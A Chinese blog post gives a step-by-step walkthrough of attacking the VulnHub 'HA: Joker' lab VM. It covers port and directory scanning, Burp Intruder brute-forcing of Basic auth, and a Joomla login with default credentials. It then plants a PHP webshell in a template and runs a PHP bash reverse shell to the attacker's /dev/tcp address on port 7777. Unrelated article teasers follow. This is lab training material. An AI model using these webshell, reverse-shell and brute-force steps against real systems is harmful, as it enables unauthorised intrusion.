【渗透测试】——VulnHub靶机渗透实战 | HA:Joker

📖 前言:Vulnhub 是一个漏洞靶场平台,里面含有大量的靶场镜像,只需要下载虚拟机镜像,导入 VMWare 或者 VirtualBox 即可启动靶场。本文将从环境搭建、端口扫描、目录扫描到信息提取和突破8080端口,尽可能排除新版本遇到的环境Bug,详解介绍渗透测试全过程。如果你是新手小白,本文将带你一窥渗透测试的世界。


目录

  • 🕒 1. Kali环境与Joker靶场搭建
  • 🕒 2. 端口扫描
    • 🕘 2.1 nmap
    • 🕘 2.2 fscan
  • 🕒 3. 目录扫描
    • 🕘 3.1 dirsearch
    • 🕘 3.2 Dirb
  • 🕒 4. 信息提取
  • 🕒 5. 8080端口突破
    • 🕘 5.1 爆破账号密码
    • 🕘 5.2 入侵后台管理
    • 🕘 5.3 webshell
    • 🕘 5.4 反弹shell

🕒 1. Kali环境与Joker靶场搭建

🔎 Kali Linux环境部署

注:Kali应设置为桥接模式。

在这里插入图片描述

首先,开启命令行窗口输入ifconfig查看IP地址。
在这里插入图片描述

Kali 输入ifconfig后eth0只有ipv6地址的解决方案

在这里插入图片描述
1、在虚拟网络编辑器上选择桥接模式,桥接的网卡别选自动,选择自己的网卡,具体可以在网络和适配器中查看
在这里插入图片描述在这里插入图片描述
2、再次ifconfig,ipv4地址出现。

🔎 Joker靶场

解压后用VMware打开即可。

🕒 2. 端口扫描

🕘 2.1 nmap

nmap 192.168.31.*

对Kali所属的网段进行全网段扫描,其中*表示通配符0~255。观察开放端口,及对应的不同服务。
在这里插入图片描述
在这里插入图片描述

如果开放的端口有80端口,推测该主机很有可能是一个网站服务器,在浏览器中的地址栏中输入此地址192.168.31.182尝试进行访问。
在这里插入图片描述

进一步扫描该靶场开放了哪些端口

nmap -T4 -sV -A 192.168.31.182

-T4 提高扫描速度,-sV 检测服务版本,-A 启用高级扫描选项如操作系统探测和脚本扫描。

在这里插入图片描述

依次访问端口查看开放了什么服务

192.168.31.182:8080	# HTTP

在这里插入图片描述

发现需要账号密码才能进行登录,接下来要想办法收集账号密码信息,先用root账户和弱密码试试。

192.168.31.182:22	# SSH

注:在XShell中尝试进行SSH连接
在这里插入图片描述

发现不行,我们后文再讨论其收集方法。

🕘 2.2 fscan

fscan一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
它支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。

🔎 fscan链接

注意杀毒软件设置信任

在这里插入图片描述

fscan.exe -h 192.168.31.0/24

在这里插入图片描述

🕒 3. 目录扫描

🕘 3.1 dirsearch

在安全测试时,安全测试人员信息收集时可使用dirsearch进行目录枚举。将爬取到的url进行状态码识别,如果是403状态则进行保存,尝试绕过403以找到隐藏文件,并获取管理员权限。

🔎 dirsearch

下载完成后,直接在路径处输入cmd快速在当前目录下打开
在这里插入图片描述
随后批量安装依赖库,在CMD窗口中执行:

pip install -r requirements.txt		# 安装依赖库

安装完成依赖库,即可开始批量扫描:

python dirsearch.py -u http://192.168.31.182

在这里插入图片描述

HTTP 状态码科普

  • 2xx 存在且可访问
  • 3xx 存在但是给你重定向到另外的网站了
  • 403 可能存在,但是不允许你访问
  • 404 不存在
  • 405 请求方式不被允许
  • 500 服务器错误,通常是指服务器不能使用或者故障

🔎 HTTP 状态码 - 菜鸟教程

重点看图中标绿色的两个文件 phpinfo.php 和 secret.txt

在这里插入图片描述

在这里插入图片描述
其中phpinfo里面都是一些配置信息,价值不大。secret文件可以看到一段信息。

🕘 3.2 Dirb

在Kali中,我们同样可以使用web网站目录爆破工具Dirb进行目录扫描

在扫描过程中,选取详细强大的字典尤为重要。这里我们直接选取dirsearch的字典。

dirb http://192.168.31.182 dicc.txt -w

在这里插入图片描述

可以看到dirb扫描较慢,是由于单线程的缘故,实战中常使用前述采用多线程的dirsearch。

在这里插入图片描述

🕒 4. 信息提取

FindSomething是一款轻量级的浏览器插件,帮助用户快速查找网页源代码和JavaScript中的隐藏信息,如API请求、IP地址、敏感数据泄露等,便于开发者和安全人员进行分析。

我们可以在Chrome(需科学上网)或Firefox的扩展商店下载安装。
在这里插入图片描述
打开网页,右上角点击插件FindSomething,我们就可以看到站点的相关信息了。

在这里插入图片描述

🕒 5. 8080端口突破

🕘 5.1 爆破账号密码

书接上回,我们需要通过Brup Suite抓包分析

🔎 Brup Suite平台安装

在这里插入图片描述
通过尝试弱口令登录并代理发现,其请求包中发送的账号密码是隐藏的,隐藏在Authentication字段中。很明显我们猜测是某种加密或编码,我们放到编码工具尝试解码一下。

在这里插入图片描述
挨个尝试一下,发现是Base64编码的,这里也看到了我们尝试登陆的账号与弱口令。

接下来我们对其payload进行处理,观察格式为账号:密码,发送到Intruder中

在Payload的标签页中下划到Payload处理 → 添加 → 添加前缀 → admin:

添加 → 编码 → Base64编码

在这里插入图片描述

开始攻击

在这里插入图片描述

观察结果,发现长度没区别,换言之并没有解开密码。会不会是字典不全面?

还记得前面我们目录扫描到的secret.txt吗,其实里面有些提示。

在这里插入图片描述
其实指的是rockyou这个字典
在这里插入图片描述
我们更改字典尝试一下

在这里插入图片描述
似乎没什么变化,是不是我们账号错了?结合secret.txt的提示,是去击败joker。我们猜测一下用户名是joker。

在这里插入图片描述

在这里插入图片描述

我们惊喜的发现,获取到正确的密码,并且成功登录了。
在这里插入图片描述
接下来我们尝试获取网站后台管理最高权限。

在这里插入图片描述
Joomla框架的网页在登录的时候会有一个超级管理员的默认账号密码是joomla/joomla,尝试使用弱口令进行登录,用同样的方式进行后台登录。

在这里插入图片描述
在这里插入图片描述

🕘 5.2 入侵后台管理

以上页面搜寻一圈,发现没有什么可以攻击的地方,对于一个网站而言,应该是会有个后台管理页面,会在哪里呢?

请出dirsearch软件

python dirsearch.py --auth-type=basic --auth=joker:hannah -u http://192.168.31.182:8080/

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

账号密码就是前面我们推测的超级管理员的 joomla/joomla

在这里插入图片描述

🕘 5.3 webshell

shell是渗透中常用的名词,如getshell,webshell,反弹shell等等,都和shell相关。

  • getshell:获取到目标的命令执行权限
  • webshell:指网站后门,通过web服务进行命令执行
  • 反弹shell:把命令行的输入输出转移到其它主机

逐一点开各功能搜寻是否有上传文件的位置

在这里插入图片描述
Extension:插件扩展,大多数漏洞都源自于此

点进去后发现是个主题,随便进入一个

在这里插入图片描述
我们惊喜的发现我们可以随意编辑与新增文件!试试一句话木马

在这里插入图片描述

成功保存!接下来需要尝试寻找该文件所在的URL,先采取猜测拼接的方法。
以上图为例,我们是将文件保存在beez3/language这个目录下,我们尝试将其拼接进URL

http://192.168.31.182:8080/templates/beez3/language/test.php

注意这个templates不是一下子就想出来的哦,比如会猜测是template/Templates/templates 这些,一个个尝试联想排除。

在这里插入图片描述
我们将代码改成webshell的,随后使用中国蚁剑控制,第一次用该软件的友友可以参考下面的文章过一遍

🔎 【DVWA】——File Upload(文件上传)

在这里插入图片描述

发现不成功,为什么呢?这里其实涉及basic认证的问题,使用BP抓包可以发现

在这里插入图片描述

将认证信息复制进配置里,即可连接成功

在这里插入图片描述

在这里插入图片描述

🕘 5.4 反弹shell

什么是反弹shell:简单理解就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

为什么要反弹shell:被控端会出现防火墙受限、权限不足、端口被占用等情形。

在本次实验中,我们让joker连接至kali。现实情况下,我们会采取购置一个公网IP的方式使受害者主机连接,而不是连接到攻击者主机的虚拟机kali。

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.31.232/7777 0>&1'");?>

这个 PHP 代码段执行了一条命令,该命令通过 Bash 创建了一个反向 shell 连接。让我们逐步解释这段代码的含义:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.31.232/7777 0>&1'");?>
  • PHP exec 函数: exec 是 PHP 的一个函数,用于执行系统命令,并且可以获取命令的输出。
  • /bin/bash -c: 这是告诉 Bash 执行后面指定的命令字符串。-c 选项表示要执行的命令是在引号中指定的字符串。
  • bash -i: 启动一个交互式的 Bash shell。
  • >& /dev/tcp/192.168.31.232/7777: 将标准输出和标准错误输出重定向到 /dev/tcp/192.168.31.232/7777。这是一个特殊的设备文件,它允许 Bash 通过 TCP 协议连接到指定的 IP 地址和端口。
  • 0>&1: 将标准输入重定向到标准输出(已经重定向到 TCP 连接的设备)。

将上述代码写入前面创建的test.php中,并在kali中开启监听

nc -lvnp 7777

刷新一下test.php所在的URL

在这里插入图片描述

在这里插入图片描述
可以看到此刻已经拿下命令行权限。


OK,以上就是本期知识点“Joker靶场实战”的知识啦~~ ,感谢友友们的阅读。后续还会继续更新,欢迎持续关注哟📌~
💫如果有错误❌,欢迎批评指正呀👀~让我们一起相互进步🚀
🎉如果觉得收获满满,可以点点赞👍支持一下哟~

❗ 转载请注明出处
作者:HinsCoder
博客链接:🔎 作者博客主页

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/142559.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

PMP--一模--解题--101-110

文章目录 11.风险管理--过程--识别风险→实施定性风险分析→实施定量风险分析→规划风险应对→实施风险应对→监督风险101、 [单选] 在项目即将进入收尾阶段时&#xff0c;项目经理发现了一项原来没有考虑到的新风险。该风险一旦发生&#xff0c;可能给最终的可交付成果带来重要…

828华为云征文|Flexus X实例Docker+Jenkins+gitee实现CI/CD自动化部署-解放你的双手~

目录 前言 实验步骤 环境准备 安装Portainer 拉取镜像 更换镜像源 启动容器 安装jenkins 拉取镜像 获取管理员密码 新建流水线项目 Portainer配置 gitee配置WebHooks 构建 修改代码&#xff0c;自动部署 前言 &#x1f680; 828 B2B企业节特惠来袭&#xff0c;…

【自学笔记】支持向量机(2)——核函数

引入 核函数的功能是将一组数据映射到更高维的特征空间&#xff0c;这样可以让在低维无法线性分类的数据能够在高维空间下被分类。   可以证明&#xff0c;如果原始数据是有限的维度&#xff0c;那么一定存在一个高维特征空间使得样本线性可分。 文章内容由《机器学习》相关内…

道路驾驶视角人车检测数据集 16000张 带标注 voc yolo

随着智能驾驶技术和车辆辅助系统的快速发展&#xff0c;道路驾驶视角下的多目标检测成为了保障行车安全的关键技术之一。为了提高自动驾驶车辆以及辅助驾驶系统的性能&#xff0c;需要大量的高质量标注数据来训练这些系统。本数据集旨在为道路驾驶视角下的人车检测提供高质量的…

linux 操作系统下dd 命令介绍和使用案例

linux 操作系统下dd 命令介绍和使用案例 1. dd 命令简介 dd 命令是一个功能强大的 Linux 工具,用于转换和复制文件。它的主要用途包括: 创建引导盘备份和恢复磁盘分区创建磁盘镜像清除磁盘数据测试读写性能 dd 命令的语法与大多数 Linux 命令有所不同,使用 optionvalue 的形…

[YM]模板-顺序表

概念&#xff1a; 顺序表是一种线性表&#xff0c;作为线性表的一种&#xff0c;它是用一段物理地址连续的存储单元依次存储数据元素的线性结构 模板&#xff1a; typedef int T; typedef struct Node{T *data;int last;int MaxSize; }*LinearList; //1 初始化顺序表 int Ini…

【C++学习】 IO 流揭秘:高效数据读写的最佳实践

✨ 今朝有酒今朝醉&#xff0c;明日愁来明日愁 &#x1f30f; &#x1f4c3;个人主页&#xff1a;island1314 &#x1f525;个人专栏&#xff1a;C学习 ⛺️ 欢迎关注&#xff1a;&#x1f44d;点赞 &#x1f442;&#x1f3f…

Java之线程篇四

目录 volatile关键字 volatile保证内存可见性 代码示例 代码示例2-&#xff08;volatile&#xff09; volatile不保证原子性 synchronized保证内存可见性 wait()和notify() wait()方法 notify() 理解notify()和notifyAll() wait和sleep的对比 volatile关键字 volati…

基于yolov8的茶叶病害检测系统python源码+onnx模型+评估指标曲线+精美GUI界面

【算法介绍】 基于YOLOv8的茶叶病害检测系统&#xff0c;是利用深度学习技术&#xff0c;特别是YOLOv8这一先进的目标检测算法&#xff0c;来精准识别和监测茶叶生长过程中出现的各种病害。该系统通过无人机、地面机器人或固定摄像头等设备&#xff0c;定期采集茶园的高分辨率…

MATLAB窗口操作常用命令

MATLAB窗口操作常用命令 命令功能clc清除窗口命令clear commandclf清除图形对象(窗口)clear清除工作区所有变量 释放内存clear all清除工作区的所有变量和函数type显示指定文件的所有内容与CMD命令类似dir查看当前工作文件夹中的内容与CMD命令类似save保存工作区或工作区中任何…

多维度智能体验:引领未来的RAG型知识图谱数字

随着人工智能技术的发展&#xff0c;传统的数字人已逐渐普及&#xff0c;但大多数仍然局限于简单的文本回复或预设答案&#xff0c;缺乏深入的语义理解和个性化互动能力&#xff0c;难以应对复杂、多维度的问题交互。不同于传统的数字人&#xff0c;英智知识图谱RAG型数字人提供…

.NET源码的在线探索:source.dot.net网站深度解析

一个在线的.NET源码查询网站为https://source.dot.net/。这个网站为开发者提供了便捷的.NET源码查询服务&#xff0c;无需从GitHub等代码托管平台下载整个源代码库&#xff0c;即可在线浏览和查询.NET框架及相关项目的源代码。 以下是该网站的一些主要功能特性&#xff1a; …

vue node node-sass sass-loader 版本 对应 与 兼容

警告&#xff1a; LibSass 和 Node Sass 已弃用。虽然它们将继续无限期地接收维护版本&#xff0c;但没有计划添加其他功能或与任何新的 CSS 或 Sass 功能兼容。仍在使用它的项目应该转移到 Dart Sass。 sass Sass是一种预处理器脚本语言&#xff0c;可以解释或编译成…

英语学习之vegetable

这里写目录标题 不熟悉的单词熟悉的句型 不熟悉的单词 brocolli &#xff08;花&#xff09;椰菜&#xff1b;西兰花&#x1f966; spinach 菠菜 aubergine 茄子&#x1f346; cabbage 卷心菜 zucchini/courgette 西葫芦 parsnip 欧洲防风&#xff0c;民间俗称“芹菜萝卜” …

[240917] Docker vs Podman:容器化的终极对决 | Kali Linux 2024.3 版本发布

目录 Docker &#x1f40b; vs &#x1f9ad; Podman: 容器化领域的终极对决一、容器化简介二、&#x1f40b; Docker 是什么&#xff1f;三、&#x1f9ad; Podman 是什么&#xff1f;四、架构差异1. Docker 的客户端-服务器模型2. Podman 的无守护进程架构 五、安全注意事项1…

苹果 2024 秋季新品发布会一文汇总:iPhone 16 / Pro 登场、手表耳机齐换代

✌ 作者名字&#xff1a;高峰君主 &#x1f4eb; 如果文章知识点有错误的地方&#xff0c;请指正&#xff01;和大家一起学习&#xff0c;一起进步&#x1f440; &#x1f4ac; 人生格言&#xff1a;没有我不会的语言&#xff0c;没有你过不去的坎儿。&#x1f4ac; &#x1f5…

2024年最新版本spss 27中文版新功能特色及下载安装激活教程

在智能设备领域&#xff0c;一款名为SPSS 27.0的专业统计软件正因其卓越性能和革新功能在市场上引发热议。这款老牌统计工具在历经多次迭代后&#xff0c;不仅保持了其在科研和教育领域的核心地位&#xff0c;还通过增强用户体验和引入先进功能&#xff0c;重新定义了数据分析的…

数据爬虫中遇到验证码的解决方法

在数据爬虫中遇到验证码是一个常见且复杂的问题&#xff0c;验证码的存在主要是为了阻止自动化工具&#xff08;如爬虫&#xff09;对网站进行过度访问或数据抓取&#xff0c;以保护网站的安全性和数据的准确性。 一、验证码的基本概念与类型 验证码&#xff08;CAPTCHA&…

Java的输入输出

秋招笔试很多都是要自己写输出输出的&#xff0c;所以对常见的整理一下&#xff0c;后续也会持续更新的~~~ 目录 1.java中的Scanner类 1.1next()方法和nextLine()方法的区别 1. next() 方法 示例 2. nextLine() 方法 示例 主要区别 使用场景 2.print类 3.常用的转换…

JAVA算法数据结构第一节稀疏矩阵

一、稀疏矩阵介绍&#xff1a; 稀疏矩阵是一种特殊类型的矩阵&#xff0c;其中大部分元素都是零。在处理这类矩阵时&#xff0c;如果仍然使用标准的矩阵存储方式&#xff08;即传统的二维数组&#xff09;&#xff0c;则会浪费大量的存储空间来保存零值。为了提高存储效率以及…